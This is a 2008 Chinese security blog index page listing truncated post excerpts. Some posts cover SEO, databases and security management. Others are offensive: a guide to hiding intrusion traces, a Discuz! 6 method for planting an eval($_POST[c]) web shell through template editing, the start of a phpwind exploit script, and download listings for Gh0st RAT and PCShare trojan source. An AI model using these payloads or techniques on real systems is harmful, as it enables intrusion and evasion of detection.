linkboy的博客_信息安全管理,网络安全技术,程序代码

两年来微软第二次发布紧急安全补丁

相信很多Windows用户今天一开机就收到了更新通知，不过不用担心，这不是在检查系统正版与否，而是微软刚刚放出的一个紧急安全修正补丁“KB958644”(MS08-067)。在微软施行每月一次安全升级制度以来，这还是第二次打破惯例——上次是2007年4月的ANI动态光标漏洞事件。根据微软安全公报，KB958644涉及了一个Level 200中

微软

职场

休闲

原创 2008-10-24 11:24:00 629 阅读

Microsoft.CSharp.targets不存在解决方法

经过实践，这个需要修改一下项目文件(.csproj) 把 <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> 替换成： <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets"

Microsoft

解决

休闲

CSharp

targets

原创 2008-10-23 13:51:00 3292 阅读

Linux 入侵踪迹隐藏攻略

免责声明：本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责,转载请保留。 0．前言：被警察叔叔请去喝茶时间很痛苦的事情，各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深，是我们必须掌握的基本功。当然，如果管理员真的想搞你而他的功力又足够足的话，相信没什么人能够真正的“踏雪无痕”。F

Linux

隐藏

休闲

攻略

踪迹

转载精选 2008-10-05 09:03:00 692 阅读

Mysql的优化设置

打开/etc/my.cnf文件，修改以下设置，如果没有，可手动添加。调整设置时，请量力而行，这与你的服务器的配置有关，特别是内存大小。以下设置比较适合于1G内存的服务器，但并不绝对。 #指定索引缓冲区的大小，它决定索引处理的速度，尤其是索引读的速度。通过检查状态值Key_read_requests和Key_reads，可以知道key_buffer_size设置是否合理。比例key_read

职场

Mysql

设置

数据库

休闲

转载精选 2008-09-08 13:45:00 641 阅读 1评论

Flash 游戏的 Mysql清空

价格为0 update cdb_nkflash set play_fee='0' 记录清空 update cdb_nkflash set uid_1='0',score_1='0',level_1

Mysql

数据库

Flash

游戏

休闲

原创 2008-09-05 09:00:00 665 阅读

PHP配置基本没无措用于Win2003

;;;;;;;;;;; ; WARNING ; ;;;;;;;;;;; ; This is the default settings file for new PHP installations. ; By default, PHP installs itself with a configuration suitable for ; development purposes, and

PHP

职场

休闲

原创 2008-09-04 11:47:00 1658 阅读

SNS网站推广技巧

导读：　　文章摘要：当越来越多的网站采用MSN和邮件邀请注册后，快速提高了用户群。好象现在网站再使用MSN或邮件邀请注册的话，效果大不如以前。因为用的人太多了，泛滥了，大家都麻木了，看了这样的邮件就删除，不想注册。　　当越来越多的网站采用MSN和邮件邀请注册后，快速提高了用户群。好象现在网站再使用MSN或邮件邀请注册的话，效果大不如以前。因为用的人太多了，泛滥了，大家都麻木了，看了这样

职场

技巧

休闲

SNS

网站推广

原创推荐 2008-08-27 13:07:00 1677 阅读 4评论

fedora官服被黑，redhat的openssh包被放后门

导读：　　在这个事情上，我们首先要思考的就是如何避免出现这类问题，出现了，如何定损和止损。　　http://www.securityfocus.com/archive/1/495671/30/0/threaded 　　https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html 　　

redhat

fedora

openssh

后门

官服

转载精选 2008-08-27 11:27:00 755 阅读

Phpcms 2007 远程文件包含漏洞

导读：　　PS：@extract函数。　　Phpcms 2007 远程文件包含漏洞　　Flyh4t [w.s.t] 　　www.wolvez.org 　　该cms的核心配置文件/include/common.inc.php有缺陷　　-------------------------------------------- 　　//23行开始　　@extrac

职场

文件

漏洞

休闲

Phpcms

原创 2008-08-23 09:44:00 1011 阅读

现代黑客史

导读：　　全球黑客史话从19世纪60年代麻省理工学院揭开序幕，硅谷也就是早期的黑客纵横驰骋的疆场。时隔两个世纪后，在亚洲的另一块巨大的版图上再现黑客传奇，尽管中国黑客仍处于萌芽状态——技术共享与精神自由的局限。　　时至今日，国家不同的体制仍制约了技术的高速发展，在中国便恰恰如此，它滞后了高新技术的进步，当然，这种体制是由当权派制定的。在中国，无数的激进分子抱怨尚

职场

休闲

现代

原创 2008-08-23 09:20:00 585 阅读

开心网-病毒营销的极致推广

导读：　　新起来的几个SNS网站，我一直最讨厌的就是开心网。初期被开心疯狂的邮件邀请，逼得我只有去注册，本以为注册了就可以解脱开心网的纠缠，结果开心网还默认好友动态邮件提醒的设置，继续对我进行骚扰。虽然我到现在还是很讨厌开心网，但是开心网近期的发展，不得不让我另眼相看，让我不得不关注它。　　开心网好像是5月初才推出来的一个新网站，但是在这短短2个多月的时间里，开心网的用户成几何的增长，

营销

开心

休闲

推广

极致

转载精选 2008-07-31 12:42:00 1063 阅读

分析:关于360杀毒的盈利

导读：　　正好今天没写博，就答复在这里了，权当灌水。　　周鸿祎的观点是，要把安全社区化，且他认为杀毒软件如同IM、邮箱一样是互联网的基础服务。从这里面其实就可以透露出一个信息，360和其他的杀毒厂商是完全不同的。　　国内的几大传统的杀毒厂商比如瑞星、金山、江民等，都有若干年的历史了，都是从PC时代发展起来的。那个时候互联网还没有普及，他们主要针对的是基于主机的病毒防范。所以他们的

杀毒

职场

休闲

原创推荐 2008-07-31 10:48:00 2635 阅读 27评论

ISO27001实践总结（一）

ISO27001实践总结（一） By linkboy Linkboy2007@yahoo.com.cn 序：近期负责公司ISO27001 08年的年审项目。在整个项目实施过程中收获颇丰。无论是对ISO27001的制度了解还是ISMS的管理实施都积攒了一定的经验。08年上市中或准备上市的公司不少，在这里和大家分享一下我的ISO27001实践经验。正文：

职场

休闲

ISO27001

原创 2008-07-21 17:27:00 3500 阅读

事件营销

导读：　　事件营销在英文里叫做Event Marketing,国内有人把他直译为“事件营销”或者“活动营销”。事件营销（event marketing）是企业通过策划、组织和利用具有名人效应、新闻价值以及社会影响的人物或事件，引起媒体、社会团体和消费者的兴趣与关注，以求提高企业或产品的知名度、美誉度，树立良好品牌形象，并最

职场

营销

休闲

原创 2008-07-20 12:32:00 777 阅读

基于ITIL的补丁管理

导读：　　ITIL并不能直接指导企业IT架构的日常维护和补丁升级操作，但ITIL涵盖了范围更为宽广的变更、分发和配置管理，从而使利用ITIL的思想和原则对企业的补丁管理流程进行规范成为可能。　　企业在对IT架构实施补丁升级的过程中，会遇到相当多的问题。冗余低效的补丁分发方案、补丁记录缺失、高风险的补丁实施和没有制定有效的补丁撤销策略等是其中影响最大的问题。这些问题的存在，不但明显降低了

职场

管理

ITIL

休闲

转载精选 2008-07-06 13:17:00 869 阅读

asp在线打包及解压的代码

导读：　　有了这个代码，再配合mdb压缩的算法，就可以实现压缩功能喽～～　　　　　　　　.STYLE1 {color: #FF0000} 　　.STYLE2 { 　　color: #FFFFFF; 　　font-weight: bold; 　　font-size: 14px; 　　} 　　*{font-size:12px;} 　　--> 　　　　 &nbs

代码

asp

打包

休闲

在线

原创 2008-07-04 11:54:00 1229 阅读

百度更新时间一览

作为做网站的站长，来自搜索引擎的流量已经是网站流量的一个重要组成部分，因此对搜索引擎更新特别关注，总是希望自己的网站在百度收录越来越多，天天site，现在我来告诉你百度的更新时间，省去你天天site的麻烦，多点时间去提高下网站质量，呵呵。　　百度收录的大更新时间是每月11号和 26号，特别是26号，更新幅度最大，K站也是最多的。　　小更新时间：每周四。　　更新时刻都在凌晨4点。

职场

时间

百度

休闲

原创 2008-07-01 09:09:00 1073 阅读

[提权技术] Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_POST[c]

Shell

后台

休闲

Discuz

权技术

转载精选 2008-06-29 09:54:00 988 阅读

谈谈网站权重的制约因素 - 老吧网

导读：　　作为SEO大家非常关注自己网站的排名与对手排名的差距，大家知道网站的权重直接关系到网站排名，好的排名会给我们带来更多的收益，互联网上大多的文章抄来抄去转来转去，缺少自己的观念和想法，别人的观点不加分析就在后面狂拍，回帖是一种美德，但是老吧建议真正仔细阅读博主的原创文章，不同的观点要大胆指出。　　回归正题，老吧总结制约网站权重的主要因素有：域名（com/cn/org/edu等）

职场

休闲

权重

因素

转载精选 2008-06-28 10:09:00 799 阅读

Maxthon遨游浏览器多个高危0day

漏洞说明：傲游浏览器是一个强大的多页面浏览器. 除了方便的浏览功能, 傲游浏览器还提供了大量的实用功能改善用户的上网体验，其在中国浏览器市场拥有大量的用户，以安全，界面友好著称。但是80sec安全组织发现遨游在安全处理上存在安全漏洞，导致恶意站点可以修改任意用户配置，读取用户历史访问记录，远程下载文件等种种恶意操作。漏洞厂商：http://www.maxthon.cn/ 漏洞成因

职场

休闲

Maxthon

遨游浏览器

转载精选 2008-06-24 10:47:00 592 阅读

CSO的生存艺术

导读：　　==Ph4nt0m Security Team== 　　Issue 0x02, Phile #0x03 of 0x0A 　　|=---------------------------------------------------------------------------=| 　　|=---------------------------=[ CSO的生存艺术 ]

职场

生存

艺术

CSO

休闲

转载精选 2008-06-24 10:47:00 798 阅读

新木马病毒可更改路由器设定监控用户网络流量

据研究人员报告，一种被称之为“zlob”（又称dnschanger）的特洛伊木马病毒已经被发现，这种病毒可以攻击受害者的互联网路由器，并监控受害人的网络流量。研究人员指出，当受害人自己的Windows系统被感染之后，zlob木马会尝试猜测路由器的用户名和密码组合，如果成功，此木马会改变受害者路由器的DNS，使所有的网络流量都可以被监控。很早之前研究人员就警告说总有

网络

路由器

用户

流量

转载精选 2008-06-24 10:46:00 1162 阅读

管理者:如何激发员工高绩效地工作？

导读：　　我在公司从事软件项目管理也有两年时间，带过大大小小三个项目，这个问题从一开始到现在，为了解决这个问题，我做过很多实践，包括：对于做的出色的员工给予及时的表扬和鼓励；分配具有挑战性的工作任务；给予奖励，但是总是觉得这些措施都做了，但是还是无法完全让员工处于完全激发状态，绩效总是提升不上去，感觉大家都有不同程度的逃避困难的，工作量的工作，都想每天事情少一点，舒适多一些。　　今天看

职场

休闲

管理者

员工

绩效

转载精选 2008-06-16 17:39:00 684 阅读

PCSHARE VIP 2005源代码

[file=http://www.fs2you.com/zh-cn/files/2123f56b-2695-11dd-9067-00142218fc6e/]点击下载[/url]

职场

源代码

休闲

VIP

PCSHARE

转载精选 2008-06-07 20:21:00 1020 阅读

Gh0st RAT Beta 3.6源码

Gh0st RAT C.Rufus Security Team http://www.wolfexp.net 控制端采用IOCP模型，数据传输采用zlib压缩方式稳定快速，上线数量无上限，可同时控制上万台主机控制端自动检测CPU使用率调整自己的工作线程, 稳定高效宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。心跳包机制防止意外掉线.. 支持HTTP和

职场

休闲

Beta

源码

RAT

转载精选 2008-06-07 20:20:00 2664 阅读

一个弹窗口的流氓软件

导读：　　ps:请勿用于非法用途，仅供技术研究之用。　　by：yunshu 　　这个东西的主要功能就是去网上一个URL读取配置文件，拿到需要弹出的窗口以及周期时间，然后开始弹……程序安装成服务，并设置为自动启动。启动之后写入一段代码到explorer.exe进程中，也就是这里在弹网页，然后将服务停止。　　我写的代码没什么技术含量，唯一的是使用了我们

流氓软件

职场

窗口

休闲

转载精选 2008-06-07 20:16:00 1603 阅读

phpwind管理权限泄露漏洞利用程序

2. import urllib2,httplib,sys 　　3. httplib.HTTPConnection.debuglevel = 1 　　4. cookies = urllib2.HTTPCookieProcessor() &nbs

程序

漏洞

权限

管理

phpwind

原创 2008-06-07 20:12:00 1276 阅读

NTFS数据流和web安全[tips]

导读：　　|=———————————————————————————&

数据

web

NTFS

tips

休闲

转载精选 2008-06-07 20:11:00 628 阅读

我在入侵过程中注意到的细节（二）

《黑客手册200802》我在入侵过程中注意到的细节（二） lcx 上期我写的基本都是在入侵内网过程中要注意到的细节，不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话，如果注意一些细节，像构造特殊字符，也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现，无非是发现都对脚本语

职场

休闲

细节

转载精选 2008-06-07 20:06:00 415 阅读

我在入侵过程中注意到的细节（一）

导读：　　《黑客手册200801》　　我在入侵过程中注意到的细节（一）　　lcx 　　细节决定成败，不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了，还是来谈谈入侵吧。记得很久前有一位同事，注入的时候，在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间，为什么呢？这是因为他在NBSI下输了个time命令，想看下服务器的时间，结果命令无法应答，注入点宕在

职场

休闲

转载精选 2008-06-07 20:06:00 400 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy